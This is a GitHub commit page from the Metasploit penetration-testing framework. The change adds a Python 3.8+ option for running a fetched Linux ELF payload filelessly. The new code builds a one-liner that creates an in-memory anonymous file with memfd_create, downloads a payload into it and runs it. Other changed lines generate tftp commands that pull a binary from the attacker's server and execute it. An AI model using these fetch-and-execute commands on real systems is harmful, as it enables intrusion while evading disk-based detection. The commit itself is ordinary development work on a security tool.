Skip to content

Commit 21b441e

Browse files
authored
Land rapid7#19943, Fetch payload run fileless ELF with python
Land rapid7#19943, Fetch payload run fileless ELF with python
2 parents 6838a0e + ae8591f commit 21b441e

File tree

2 files changed

+12
-4
lines changed

2 files changed

+12
-4
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -209,7 +209,9 @@ def _execute_win(get_file_cmd)
209209
end
210210

211211
def _execute_nix(get_file_cmd)
212-
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS']
212+
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash'
213+
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
214+
213215

214216
cmds = get_file_cmd
215217
cmds << ";chmod +x #{_remote_destination_nix}"
@@ -232,6 +234,7 @@ def _generate_certutil_command
232234
end
233235
_execute_add(get_file_cmd)
234236
end
237+
235238

236239
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
237240
def _generate_fileless(get_file_cmd)
@@ -258,6 +261,11 @@ def _generate_fileless(get_file_cmd)
258261

259262
cmd
260263
end
264+
265+
# same idea as _generate_fileless function, but force creating anonymous file handle
266+
def _generate_fileless_python(get_file_cmd)
267+
%Q<python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\";#{get_file_cmd};$f&")'>
268+
end
261269

262270
def _generate_curl_command
263271
case fetch_protocol
@@ -295,7 +303,7 @@ def _generate_tftp_command
295303
fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}")
296304
else
297305
_check_tftp_file
298-
if datastore['FETCH_FILELESS'] && linux?
306+
if datastore['FETCH_FILELESS'] != 'none' && linux?
299307
return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
300308
else
301309
fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
@@ -343,7 +351,7 @@ def _remote_destination
343351
def _remote_destination_nix
344352
return @remote_destination_nix unless @remote_destination_nix.nil?
345353

346-
if datastore['FETCH_FILELESS']
354+
if datastore['FETCH_FILELESS'] != 'none'
347355
@remote_destination_nix = '$f'
348356
return @remote_destination_nix
349357
end

lib/msf/core/payload/adapter/fetch/linux_options.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ def initialize(info = {})
44
register_options(
55
[
66
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
7-
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
7+
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
88
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
99
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
1010
]

0 commit comments

Comments
 (0)